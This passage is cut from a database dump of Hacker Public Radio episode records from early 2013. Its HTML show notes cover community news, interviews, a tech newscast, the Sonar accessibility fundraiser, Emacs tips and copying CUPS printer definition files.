Automation</td>\r\n<td  class=\"data grid_edit not_null    \">AukonDK</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1167</td>\r\n<td  class=\"data grid_edit not_null    \">Kernels in the Boot, or What to Do When Your /boot folder Fills Up</td>\r\n<td  class=\"data grid_edit not_null    \">FiftyOneFifty</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1168</td>\r\n<td  class=\"data grid_edit not_null    \">How I started my local Linux User Group</td>\r\n<td  class=\"data grid_edit not_null    \">Emilien Klein</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1169</td>\r\n<td  class=\"data grid_edit not_null    \">Autotools</td>\r\n<td  class=\"data grid_edit not_null    \">Nido Media</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1170</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 1/20/2013</td>\r\n<td  class=\"data grid_edit not_null    \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1171</td>\r\n<td  class=\"data grid_edit not_null    \">Tech and Loathing 13 - Remote Desktop Protocols</td>\r\n<td  class=\"data grid_edit not_null    \">K5TUX</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1172</td>\r\n<td  class=\"data grid_edit not_null    \">LiTS 022: Sort</td>\r\n<td  class=\"data grid_edit not_null    \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1173</td>\r\n<td  class=\"data grid_edit not_null    \">Sonar GNU/linux</td>\r\n<td  class=\"data grid_edit not_null    \">Jonathan Nadeau</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1174</td>\r\n<td  class=\"data grid_edit not_null    \">Low Tech Fab (PCB Etching)</td>\r\n<td  class=\"data grid_edit not_null    \">NYbill</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1175</td>\r\n<td  class=\"data grid_edit not_null    \">how to start irssi in screen after reboot</td>\r\n<td  class=\"data grid_edit not_null    \">Lord Drachenblut</td>\r\n</tr>\r\n            \r\n</tbody>\r\n</table>\r\n\r\n<h2>Events</h2>\r\n<ul>\r\n    <li><a href=\"https://www.socallinuxexpo.org/scale11x\">https://www.socallinuxexpo.org/scale11x</a> Scale11x. The Eleventh Annual Southern California Linux Expo February 22-24, 2013 Hilton Los Angeles International Airport</li>\r\n    <li><a href=\"https://www.northeastlinuxfest.org/\">https://www.northeastlinuxfest.org/</a>NELF: pokey: The Northeast Gnu/Linux Fest March 16 and 17</li>\r\n    <li><a href=\"https://www.linuxfestnorthwest.org/\">https://www.linuxfestnorthwest.org/</a>LFNW: LinuxFest Northwest 2013 Bellingham, WA • April 27th and 28th, Contact: David Whitman </li>\r\n</ul>\r\n\r\n<h2>Mail List Discussions</h2>\r\n<ul>\r\n    <li>Setup for the New Year Show - there is no cli client for mumble or for piping to ice-cast </li>\r\n    <li>DeepGeek asks for help in a new Segment about corporate use for web proxies</li>\r\n    <li>cobra2 discusses RSS torrents</li>\r\n    <li>Problems playing episodes ? <strong>Always</strong> mail admin@hackerpublicradio.org</li>\r\n    <li>KT4KB_Jon Lambdin [Hpr] CQ CQ CQ de KT4KB - Let\'s do a podcast Via Amateur  Radio</li>\r\n    <li>Aaron Swartz - passed away</li>\r\n    <li>Stickers! </li>\r\n    <li>Nido Media HPR Saturday Sessions (Digest is a once a day thing)</li>\r\n    <li>Reassign the shows to the TGTM News Team</li>\r\n    <li>Changes to the owner of TGTM Tech News Show</li>\r\n    <li>Should we add the intro/outro - yes if you want to</li>\r\n    <li>klaatu <a href=\"https://radio.pittsburgharts.org:8000\">https://radio.pittsburgharts.org:8000</a>, dosman is running a part15 radio station at my house. While most people agree with the explicit tag, Ken strongly disagreed with the suggestion.</li>\r\n</ul>\r\n\r\n<h2>Reminder of how HPR is governed</h2>\r\n<p>\r\nWhile Stankdwag pays for the hosting, HPR is run by the community, not the Admins! That means what the community decides is the direction we take it. \r\n</p>\r\n\r\n<h2>Filtering \"Clean\" shows</h2>\r\n<pre>\r\nThe necessary changes to accommodate a per show explicit field has been made. \r\nTo get the filtered feeds, please append \'explicit=0\' to the end of any of the fields. \r\nThis will trigger the field \'rss/channel/item/itunes:explicit=\"Clean\"\'\r\n\r\n\r\nhttps://hackerpublicradio.org/hpr_mp3_rss.php?explicit=0\r\nhttps://hackerpublicradio.org/hpr_ogg_rss.php?explicit=0\r\nhttps://hackerpublicradio.org/hpr_spx_rss.php?explicit=0\r\nhttps://hackerpublicradio.org/hpr_total_rss.php?explicit=0\r\nhttps://hackerpublicradio.org/hpr_total_ogg_rss.php?explicit=0\r\nhttps://hackerpublicradio.org/hpr_total_spx_rss.php?explicit=0\r\n\r\nThis will leave the &lt;itunes:explicit&gt; on the &lt;channel&gt; as \"Yes\" but will\r\ntoggle the &lt;item&gt; to &lt;itunes:explicit&gt;clean&lt;/itunes:explicit&gt;.\r\nCurrently the only shows flagged as \'explicit=0\' are the ones from\r\nklaatu. For those wishing to reclassify your shows please review the\r\nattached guidelines from the FCC and follow the link to Apples website\r\nhttps://www.apple.com/itunes/podcasts/specs.html. Apple has a policy of\r\nbanning incorrectly flagged shows, so we could loose approximately 7 -\r\n20 % of HPR listeners in one fell swoop if you classify your show\r\nincorrectly.\r\n\r\nPlease alert me or admin@hackerpublicradio.org if anything strange\r\nstarts to happen.\r\n\r\nKen (as HPR Admin)\r\n</pre>\r\n\r\n<h2>Website Changes</h2>\r\n<ul>\r\n    <li>Website Updates, RSS Feeds, Cal page: new list, new post script, explains how the queuing is done. Still need to update the contribute, readme and intro outro.</li>\r\n    <li>HPR Transcode script - Help needed by one and all</li>\r\n    <li>Cannot get the mailing list to archive</li>\r\n</ul>\r\n\r\n<h2>Sonar Fundraiser</h2>\r\n<p>\r\nThe Sonar Project is to build a Linux operating system focused on accessibility. There are 1 billion people in the world with some type of disability. Jonathan Nadeau is a blind user and has already made the Sonar GNU/Linux distribution completely accessible to blind people. Now he needs our help to take it to the next level.<br />\r\nPimp and pay <a href=\"https://www.indiegogo.com/sonar\">https://www.indiegogo.com/sonar</a>\r\n</p>\r\n\r\n<h2>We need shows</h2>\r\n<p>\r\nThere are 14 shows in the queue. <a href=\"https://hackerpublicradio.org/calendar.php\">https://hackerpublicradio.org/calendar.php</a>\r\n</p>\r\n\r\n<hr />\r\n',159,47,1,'CC-BY-SA','Community News',0,1743,1),
(1178,'2013-02-06','Interviews with Laura Creighton and Armin Rigo',1327,'Seetee interviews Laura Creighton and Armin Rigo','<h2>Creighton and Rigo about PyPy</h2>\r\n\r\n<p style=\"font-style:italic; margin:1em 3em;\">\"We\'re really really really really fast.\" <br />- Laura Creighton (2011)</p>\r\n\r\n<p>Today you will hear two interviews, with Laura Creighton and Armin Rigo. You\'ll get a really unique perspective of Richard Stallman, as well as of the PyPy project. Below you will find links to most of the projects mentioned in the interviews, but first and foremost I would like to recommend you to have a look at Laura\'s keynote interview \"Dialogue with Richard Stallman\" and Armin\'s talk \"PyPy\".</p>\r\n\r\n<h4>Make sure you watch the <a href=\"https://videos.fscons.org/fscons/videos/FSCONS2011/\">videos from FSCONS2011</a> with Stallman, Creighton and Rigo!</h4>\r\n\r\n<h3>References</h3>\r\n\r\n<ul>\r\n  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1116\">HPR #1116 Interview with Richard Stallman</a></li>\r\n  <li><a href=\"https://fscons.org/\">FSCONS</a></li>\r\n  <li><a href=\"https://my.fscons.org/people/laura-creighton/\">Laura Creighton</a></li>\r\n  <li><a href=\"https://pypy.org/people.html\">Armin Rigo</a></li>\r\n  <li><a href=\"https://pypy.org/\">PyPy</a></li>\r\n  <li>Wikipedia: <a href=\"https://en.wikipedia.org/wiki/Smalltalk\">SmallTalk</a> and <a href=\"https://en.wikipedia.org/wiki/Prolog\">Prolog</a></li>\r\n</ul>\r\n\r\n<h3>How to reach me</h3>\r\n\r\n<p>You should follow me and subscribe to All In IT Radio: </p>\r\n\r\n<ul>\r\n  <li>Identi.ca: <a href=\"https://identi.ca/alltinomit\">@alltinomit</a></li>\r\n  <li>Twitter: <a href=\"https://twitter.com/alltinomit\">@alltinomit</a></li>\r\n  <li><a href=\"https://plus.google.com/100309783606985145580/\">https://aiit.se/radio/+</a></li>\r\n  <li><a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a></li>\r\n</ul>\r\n\r\n',192,78,1,'CC-BY-SA','PyPy',0,1823,1),
(1179,'2013-02-07','Interview with Mark A Davis of TWUUG',3566,'Interview: Mark Davis, head of the Tidewater Unix Users Group','<p>\r\nFrank Bell interviews Mark Davis, IT Director for Lake Taylor Transistional Care Hospital and head of the Tidewater Unix Users Group (TWUUG), an organization which predates the creation of the Linux kernel.\r\n</p>\r\n<p>\r\nMark talks about how his early computer experience and he got started with computers and *nix, the history and development of TWUUG, and the history and architecture of Lake Taylor\'s Linux-based network.  He also shares his thoughts about Ubuntu\'s Wayland project and distributed versus centralized computing, as well as a summary his reaction to his new Windows 8 computer.\r\n</p>\r\n<p>\r\nLinks:\r\n</p>\r\n\r\n<ul>\r\n<li>TWUUG: <a href=\"https://www.twuug.org/mediawiki/index.php/Main_Page\">https://www.twuug.org/mediawiki/index.php/Main_Page</a>\r\n</li>\r\n<li>Lake Taylor Transistional Care Hospital:  <a href=\"https://www.laketaylor.org/index.php\">https://www.laketaylor.org/index.php</a>\r\n</li>\r\n<li>Lenovo Twist:  <a href=\"https://www.lenovo.com/products/us/laptop/thinkpad/thinkpad-twist/\">https://www.lenovo.com/products/us/laptop/thinkpad/thinkpad-twist/</a>\r\n</li>\r\n</ul>\r\n',195,78,1,'CC-BY-SA','TWUUG,X-Windows,Wayland,Slackware,Windows 8',0,1851,1),
(1180,'2013-02-08','TGTM Newscast for 2/6/2013',1087,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul><li><a href=\"https://icelandreview.com/icelandreview/daily_news/?ew_0_a_id=397397\">FBI Came to Investigate Wikileaks in Iceland</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/1/29/headlines#12912\">Anonymous Hacks DOJ Site in Retaliation for Aaron Swartz Case </a>\r\n</li>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/unexplained-blackout-of-discussion-of-cia-interrogation-centers-at-911-pre-trial-hearing-130130?news=846921\">Unexplained Blackout of Discussion of CIA Interrogation Centers at 9/11 Pre-Trial Hearing</a>\r\n</li>\r\n<li><a href=\"https://www.thestand.org/2013/01/stealing-wages-is-illegal-not-a-partisan-issue/\">Stealing workers’ pay is illegal, shouldn’t be a partisan issue</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/1/30/headlines#1307\">Report: Brennan Was Regularly Briefed on Torture Under Bush </a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-founder-could-be-prosecuted-for-hacking-within-a-month-130129/\">Pirate Bay Founder Could Be Prosecuted For Hacking “Within a Month”</a>\r\n</li>\r\n<li><a href=\"https://www.eff.org/is-it-illegal-to-unlock-a-phone\">Is It Illegal To Unlock a Phone? The Situation is Better - and Worse - Than You Think</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130123/14005221769/anti-piracy-group-already-demanding-that-kim-dotcoms-new-mega-service-be-shut-down.shtml\">Anti-Piracy Group Already Demanding That Kim Dotcom\'s New Mega Service Be Shut Down</a>\r\n</li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130123/03271121761/techcrunch-admits-that-using-facebook-comments-drove-away-most-their-commenters.shtml\">TechCrunch Admits That Using Facebook Comments Drove Away Most Of Their Commenters</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/the-16th-century-religious-wars-and-todays-copyright-monopoly-wars-have-more-in-common-than-you-think-130120/\">The 16th Century Religious Wars And Today’s Copyright Monopoly Wars Have More In Common Than You Think</a>\r\n</li></ul>\r\n<p>Other Headlines:</p>\r\n<ul><li><a href=\"https://www.truth-out.org/news/item/14097-with-new-constitution-post-collapse-iceland-inches-toward-direct-democracy\">With New Constitution, Post-Collapse Iceland Inches Toward Direct Democracy </a>\r\n</li>\r\n<li><a href=\"https://www.courthousenews.com/2013/01/28/54326.htm\">The\r\nJustice Department does not need to explain why it wanted Twitter\r\ninformation of certain WikiLeaks supporters without a warrant, the 4th\r\nCircuit ruled.</a>\r\n</li>\r\n<li><a href=\"https://www.latimes.com/news/nation/nationnow/la-na-nn-government-twitter-data-20130128,0,5692432.story\">Government requests for Twitter user data rise 20% in 2012</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/imagine-bittorrent-group-sysop-speaks-out-as-he-heads-to-prison-130121/\">IMAGiNE BitTorrent Group Sysop Speaks Out as He Heads to Prison</a>\r\n</li>\r\n<li><a href=\"https://torrentfreak.com/mega-is-brilliantly-secure-but-not-anonymous-130118/\">Mega Launches: Brilliantly Secure, But Not Anonymous</a>\r\n</li></ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by DeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p><p>\r\nNews from \"techdirt.com,\" \"thestand.org,\"  \"icelandreview.com,\"\r\nand\r\n\"allgov.com\" used\r\nunder arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution license.</p>\r\n<p>News from \"democracynow.org\" used under permission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.<br/>\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>',237,65,1,'CC-BY-SA','newscast,TGTM',0,4125,1),
(1181,'2013-02-11','Mumble Audio Issues',349,'Some advice on avoiding audio issues in Mumble','<p>\r\nI had a couple of requests for more specific information regarding audio quality in mumble, so here I go through a few of the more common audio issues I\'ve run into with a few tips about what you can try to do about them. These issues are: overdriven audio, quiet audio, distorted audio and choppy audio. \r\n</p>\r\n<p>\r\nEve bot (<a href=\"https://frymaster.127001.org/mumble\">https://frymaster.127001.org/mumble</a>) is also mentioned as an alternative to using the loopback settings within mumble for troubleshooting.\r\n</p>\r\n<p>\r\nThanks to Peter64 for his help with generating the choppy audio segment.\r\n</p>\r\n	',228,0,1,'CC-BY-SA','overdriven audio,quiet audio,distorted audio,choppy audio,opus',0,1751,1),
(1182,'2013-02-12','LiTS 023: Date',1443,'Print or set the system date and time with the <em>date</em> command','<p>\r\nSpring is in the air and Valentine\'s day is just around the corner and Dann Sexy Washko tells us all we need to know about dates on his regular <a href=\"https://hackerpublicradio.org/series.php?id=67\">Linux In The Shell</a> series.</p>\r\n<p>The date command will not only display or let you change the current date and time but is the go-to utility for getting date and time information into scripts. Invoked by itself the date command will output the current system date based upon the rules of the LC_TIME format. The LC_TIME format defines the rules for formatting dates and times. LC_TIME is a subset of locale which defines the overall environment based upon the chosen language and cultural conventions. You can see the current LC value by issuing the locale command. You can see time specific information for your system by issuing:</p>\r\n<blockquote><p>locale -m LC_TIME</p></blockquote>\r\n<p>\r\n<a href=\"https://www.linuxintheshell.com/2013/02/12/episode-023-date/\">https://www.linuxintheshell.com/2013/02/12/episode-023-date/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','date',0,2491,1),
(1183,'2013-02-13','Boise Lug meeting Feb 7 2013',1872,'A recording from the Boise LUG','<p>\r\nBoise Lug meeting Feb 7 2013, Darin gives a talk on Linux gaming focused on \r\nvavoom for Doom wads and the steam client now in open beta, show notes and \r\nLug contacts <a href=\"https://boiselug.org/\">https://boiselug.org/</a> and <a href=\"https://store.steampowered.com/browse/linux/\">https://store.steampowered.com/browse/linux/</a>\r\n</p>',110,0,1,'CC-BY-SA','Doom,WAD files,Vavoom,Valve,Steam',0,1795,1),
(1184,'2013-02-14','Installing Linux without a monitor',5626,'An audio-only demonstration of installing Sonar GNU/Linux','<p>\nTwo weeks ago we aired a show about the Sonar Project which is a specialized GNU/Linux distribution to develop and proof accessibility in a modern distribution. This is a test bed and so every single enhancement and discovery will be sent back upstream so that all distributions will be accessible by default.\n</p>\n<p>\n<font size=\"6\">\n<em>\nThe Sonar Project show was downloaded a total of <strong>14,219</strong> times so far and yet only <strong>127</strong> people have donated.\n</em>\n</font>\n</p>\n<p>\nToday it\'s a case of the blind leading the (simulated) blind as <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=161\">Jonathan Nadeau</a> walks <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=128\">pokey</a> through an install of the Sonar GNU/Linux distribution without a monitor.\n</p>\n<p>\nSo listen along and experience what life is like if you are a blind hacker. <br />\n<em>Press PAUSE to hear what it would be like if Jonathan had not done so much work already.</em>\n</p>\n<h1><a href=\"https://www.indegogo.com/sonar\">DONATE NOW</a></h1>\n<p>\nThe project is here <a href=\"https://www.indegogo.com/sonar\">https://www.indegogo.com/sonar</a>\n</p>\n<p>\nThe Accessible Computing Foundation can be found at <a href=\"https://theacf.co\">theacf.co</a> or <a href=\"https://accessiblecomputingfoundation.org/\">https://accessiblecomputingfoundation.org/</a>\n</p>\n<p>\nThe project itself can be found here <a href=\"https://www.sonar-project.org\">www.sonar-project.org</a>\n</p>',109,0,1,'CC-BY-SA','Accessible Computing Foundation,ACF,Sonar Linux',0,2038,1),
(1185,'2013-02-15','Shooting the Breeze',2002,'Two HPR hosts having a geeky conversation','<p>\r\n6 days to go 25% there - donate to <a href=\"https://www.indegogo.com/sonar\">https://www.indegogo.com/sonar</a> the spread the word.\r\n</p>\r\n<p>\r\nJezra and NYbill look back on their last episode (<a href=\"https://hackerpublicradio.org/eps.php?id=0923\">https://hackerpublicradio.org/eps.php?id=0923</a>). They review their predictions for 2012. Then go into a bit of what they see happening in the tech world in 2013. Basically, they are just having a geeky conversation. Listen at your own peril! \r\n</p>\r\n<p>\r\nThe Yoda/Red Rider mic stand: <a href=\"https://status.jezra.net/attachment/3421\">https://status.jezra.net/attachment/3421</a>\r\n</p>',205,0,1,'CC-BY-SA','technical predictions 2013',0,1925,1),
(1186,'2013-02-18','A plea and a Follow up',987,'A plea to donate to the Sonar project and a follow-up to show 1184','<h2>61 hours to go 33% there - donate to <a href=\"https://www.indiegogo.com/sonar\">https://www.indiegogo.com/sonar</a> the spread the word.</h2>\n<p>\nIn today\'s show, we hear a plea from David Whitman about why you should join us all and donate to the sonar project.<br />\nThen pokey lets us in on what he did wrong when installing sonar\n</p>\n',109,0,1,'CC-BY-SA','donation,Sonar Linux,screen reader,Orca',0,1617,1),
(1187,'2013-02-19','I live in GNU/Emacs',689,'A journey through the many capabilities of GNU/Emacs','\r\n\r\n<pre>\r\nI live in GNU/Emacs\r\n===================\r\n\r\n1 Emacs on HPR \r\n===============\r\nKlaatu\'s 3 part series\r\n- ep0852\r\n- ep0856\r\n- ep0861\r\n\r\n2 EmacsWiki \r\n============\r\n- Ultimate source of information for GNU/Emacs\r\n- [https://emacswiki.org/]\r\n\r\n3 Appearance \r\n=============\r\n- no menus nor scroll bars\r\n- black background on a tiling window, full screen (no decorations)\r\n  - people often think that I am on the console (no X)\r\n\r\n4 Daemon \r\n=========\r\n- [https://www.emacswiki.org/emacs/EmacsAsDaemon]\r\n- so that clients can connect (org protocol)\r\n- use the same emacs from the consoles\r\n  - if x crashes, for instance\r\n\r\n5 Editing code \r\n===============\r\n- c++\r\n- with repls\r\n  - lisp/scheme/clojure/elisp (slime and geiser)\r\n  - python\r\n  - octave\r\n- compilation\r\n- latex\r\n\r\n6 Org \r\n======\r\n- [https://orgmode.org/]\r\n- Note taking\r\n- GTD, agenda, spreadsheet\r\n- Reports, papers, slides, blog\r\n- export to mobile org\r\n\r\n7 Gnus \r\n=======\r\n- [https://www.emacswiki.org/emacs/GnusTutorial]\r\n- Mails\r\n- RSS and mailing lists via gwene\r\n- store links into and open from org-mode\r\n\r\n8 w3m \r\n======\r\n- [https://www.emacswiki.org/emacs/emacs-w3m]\r\n- search and more and more navigation\r\n\r\n9 Conkeror (in/out) \r\n====================\r\n- [https://conkeror.org/]\r\n- only when javascript is required\r\n- org protocol for vzpturing links\r\n- org open link to open pages\r\n\r\n10 ERC for IRC \r\n===============\r\n- [https://www.emacswiki.org/emacs/ERC]\r\n\r\n11 Small utilities \r\n===================\r\n- Info reader\r\n  - [https://emacswiki.org/emacs/InfoMode]\r\n- Calendar\r\n  - [https://emacswiki.org/emacs/CalendarMode]\r\n- Scratch buffer as calculator\r\n  - Evaluating expressions\r\n  - [https://emacswiki.org/emacs/EvaluatingExpressions]\r\n- Dired\r\n  - [https://emacswiki.org/emacs/DiredMode]\r\n- Docview\r\n  - [https://www.emacswiki.org/emacs/DocViewMode]\r\n- Version control\r\n  - [https://emacswiki.org/emacs/VersionControl]\r\n</pre>',197,0,1,'CC-BY-SA','GNU/Emacs,orgmode,Gnus,w3m,Conkeror ',0,2014,1),
(1188,'2013-02-20','Rmail in Emacs',2632,'Rmail in Emacs, msmtp, procmail, tmail, and fetchmail','<p>\r\n11 hours to go. 235 funders Contributed $8,633 USD of $20,000 43%<br />\r\nDonate here <a href=\"https://www.indiegogo.com/projects/sonar-project\">https://www.indiegogo.com/projects/sonar-project</a>\r\n</p>\r\n<p>\r\nKlaatu sneaks in an addendum to his Emacs mini-series on howto use\r\nRmail in Emacs. Bonus topics include how to configure fancy Unix mail\r\ntools like msmtp, procmail, tmail, and fetchmail.\r\n</p>',78,0,1,'CC-BY-SA','Rmail,Emacs,msmtp,procmail,tmail,fetchmail',0,1881,1),
(1189,'2013-02-21','Part One: Counting Partridges and Gold Rings',1877,'Intro to Recreational Math Part One','<h2>Edited version - re sent</h2>\n<p>\nThe Sonar Project has $9,838 raised with 256 people contributing. A big thanks to all the !HPR Listeners who helped out.<br />\nIt\'s not too late to contribute to the ACF. See <a href=\"https://accessiblecomputingfoundation.org/\">https://accessiblecomputingfoundation.org/</a> for more information.\n</p>\n<p>\nTomorrow The Eleventh Annual Southern California Linux Expo starts. Running from February 22 to the 24, 2013 in the Hilton Los Angeles International Airport. Speakers include Kyle Rankin, Joe Brockmeier and Matthew Garrett. <br />\nSee <a href=\"https://www.socallinuxexpo.org/scale11x\">https://www.socallinuxexpo.org/scale11x</a> for more information.\n</p>\n<h2>\nThe N Days of Christmas? Intro to Recreational Math\nPart One: Counting Partridges and Gold Rings\n</h2>\n\n<p>\nThe complete shownotes can be found here:\n</p>\n\n<ul>\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1189/hpr1189.txt\">https://hackerpublicradio.org/eps/hpr1189/hpr1189.txt</a>\n</li>\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1189/Pascal_Calcs_Gnumeric.gnumeric\">https://hackerpublicradio.org/eps/hpr1189/Pascal_Calcs_Gnumeric.gnumeric</a>\n</li>\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1189/Pascal_Calcs_non-free.xls\">https://hackerpublicradio.org/eps/hpr1189/Pascal_Calcs_non-free.xls</a>\n</li>\n<li><a href=\"https://hackerpublicradio.org/eps/hpr1189/hpr1189_Charles_in_NJ-N-Days-of-Xmas-Ep-One.zip\">https://hackerpublicradio.org/eps/hpr1189/hpr1189_Charles_in_NJ-N-Days-of-Xmas-Ep-One.zip</a>\n</li>\n</ul>\n\n<p>\nPascal\'s Triangle:\n</p>\n\n<ul>\n<li><a href=\"https://www.mathisfun.com/pascals-triangle.html\">https://www.mathisfun.com/pascals-triangle.html</a>\n</li>\n<li><a href=\"https://en.wikipedia.com/wiki/Pascal\'s_triangle\">https://en.wikipedia.com/wiki/Pascal\'s_triangle</a>\n</li>\n</ul>\n\n<p>\nBackground on Pascal\'s Triangle and the Binomial Theorem, see the excellent videos by Sal Khan at  <a href=\"https://KhanAcademy.org\">https://KhanAcademy.org</a>\n</p>\n<p>\nContact: Charles in NJ\nEmail: <a href=\"mailto:catintp@yahoo.com\">catintp@yahoo.com</a>\n</p>\n<p>\nCharlie + Alpha + Tango + India + November + Tango + Papa.\n</p>\n',229,0,1,'CC-BY-SA','mathematics,math,Pascal\'s Triangle,Binomial Theorem',1,1485,1),
(1190,'2013-02-22','LibreOffice 03 Writer Introduction to Styles',1300,'Using styles to control the appearance of documents in LibreOffice Writer','<p>Some useful sites</p>\r\n<ul>\r\n<li><a href=\"https://www.libreoffice.org/get-help/documentation/\">https://www.libreoffice.org/get-help/documentation/</a>\r\n</li>\r\n<li><a href=\"https://wiki.documentfoundation.org/Documentation/Publications\">https://wiki.documentfoundation.org/Documentation/Publications</a>\r\n</li>\r\n<li><a href=\"https://gofree.com/Tutorials/\">https://gofree.com/Tutorials/</a>\r\n</li>\r\n<li><a href=\"https://en.libreofficeforum.org/\">https://en.libreofficeforum.org/</a>\r\n</li>\r\n</ul>\r\n<p>My web site is at <a href=\"https://www.ahuka.com/\">https://www.ahuka.com/</a>.</p>\r\n<p>Remember to support free software!</p>\r\n',198,70,1,'CC-BY-SA','LibreOffice, Writer',0,1994,1),
(1191,'2013-02-25','Arch Linux',2488,'Experiences of running Arch and thoughts of other distributions','In this episode Dudeman explains to us his experience of running arch linux the last few weeks. The discussion sidetracks a bit towards the difference between rolling releases versus versioned releases and Source vs Binary distributions where Arch and Gentoo play the part of the rolling/source based distros.',230,0,1,'CC-BY-SA','Linux,Arch,Gentoo ',0,1862,1),
(1192,'2013-02-26','LiTS 024: time and /usr/bin/time',987,'Run programs and summarize system resource usage with the <em>time</em> command','<p>The time program is a handy tool to not only gauge how much time in seconds it takes a program to run, but will also display how much user CPU time and system CPU time was used to execute the process. To understand these values you must grasp how the kernel handles the time reporting for the process. For example, the output of:</p>\r\n<p><em>time ls</em></p>\r\n<p>is</p>\r\n<p><em>real 0m0.007s<br/>\r\nuser 0m0.000s<br/>\r\nsys 0m0.003s\r\n</em>\r\n</p>\r\n<p>\r\nFor the complete show including video and a complete write up go to <a href=\"https://www.linuxintheshell.com/2013/02/26/episode-024-time-and-usrbintime/\">https://www.linuxintheshell.com/2013/02/26/episode-024-time-and-usrbintime/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','time',0,2494,1),
(1194,'2013-02-28','Copying a Printer Definition File Between Systems',1135,'Copying a Postscript Printer Definition (PPD) file between systems for use with CUPS','<p>\r\n<br/>\r\nI recently learned where Linux stores the PPD created when you set up a\r\nprinter and how to copy it between PCs.&nbsp; I\'d like to briefly share\r\nthat information with you.<br/>\r\n<br/>\r\n\r\n\r\nThis is how to copy a printer definition file (equivalent of a printer\r\ndriver) from a system where the printer is already configured to\r\nanother system that you want to be able to access the same\r\nprinter.&nbsp; Reasons you might need to do this:<br/>\r\n<br/>\r\na.&nbsp; The normal CUPS (Common Unified Printing System) set up\r\ndoesn\'t have the right definition file for your printer.&nbsp; In rare\r\ninstances, you might have to download a ppd from the manufacturer or\r\nanother source.&nbsp; If so, copying the ppd may be easier than\r\ndownloading it again.<br/>\r\n<br/>b.&nbsp; You configure CUPS and find there are no pre-provided\r\nprinter\r\ndrivers.&nbsp; I thought this was the case when I first tried to\r\nconfigure CUPS under Linaro on my ODroidX. &nbsp; For all intents and\r\npurposes, Linaro is an Arm port of mainline Ubuntu (Unity\r\nincluded).&nbsp; I installed CUPS via Aptitude and tried to configure a\r\nprinter as I would on any Linux system.&nbsp; When I got to printer\r\nselection, the dropdown to select a\r\nmanufacturer (the next step would be to choose a model) was greyed out,\r\nas was the field to enter a path to a ppd file.&nbsp; I closed the\r\nbrowser and tried again, and the same thing happened.&nbsp; This is\r\nwhat prompted me to find out where to find a PPD file on another system\r\nand copy it.&nbsp; I never got to see how it would work, because when I\r\nhad the ppd file copied over and ready to install, the\r\nmanufactures and models in CUPS were already populated.&nbsp; There had\r\nbee an update between my first and second attempts to configure CUPS on\r\nthe ODroidX, but I\'d rather say it was a glitch the first time, instead\r\nof the ppd\'s suddenly showing up in the repo.<br/>\r\n<br/>\r\nc.&nbsp; When I installed Arch on another system, I found there was far\r\nless options for choosing models, in my instance, there was only one\r\nselection for HP Deskjets.&nbsp; I suspect borrowing the model specific\r\nppd from another distro will increase the functionality of the printer.<br/>\r\n<br/>\r\nCopying the ppd<br/>\r\n<br/>\r\n1.&nbsp; On the computer where the printer is already configured, find\r\nthe .ppd (Postscript Printer Definition) file you generated (filename\r\nwill be the same as the printer name) in /etc/cups/ppd/model (or\r\npossibly just /etc/cups/ppd, neither my ODroidX or my Fedora laptop\r\nhave the \"model\" folder).<br/>\r\n2. Copy to your home folder on the new system (You can\'t place the file\r\nin it\'s final destination yet, unless you are remoted in as root)<br/>\r\n3. According to the post I found on LinuxQuestions.org, CUPS looks for\r\na GZipped file [ gzip -c myprinter.ppd &gt; myprinter.ppd.gz ; the \'-c\'\r\narguement creates a new file, rather than gzipping the old one, and you\r\nuse redirection to generate the new file.]&nbsp; Recall that I never\r\ngot to try this, because when I re-ran CUPS, the printer selections\r\nwere already populated.&nbsp; <br/>\r\n4. Copy the archived file to /etc/cups/ppd/model on the machine that needs the printer driver<br/>\r\n<br/>\r\nConfigure CUPS (IP Printer)<br/>\r\n1. Open localhost:631 in a browser<br/>\r\n2. Click Administration tab<br/>\r\n3. Click \"Add a Printer\" button<br/>\r\n4. Log in as an account with root priviledges<br/>\r\n5. For Ethernet printers, select \"AppSocket/HP JetDirect\" button and click \"Continue\"<br/>\r\n6. From the examples presented, \" 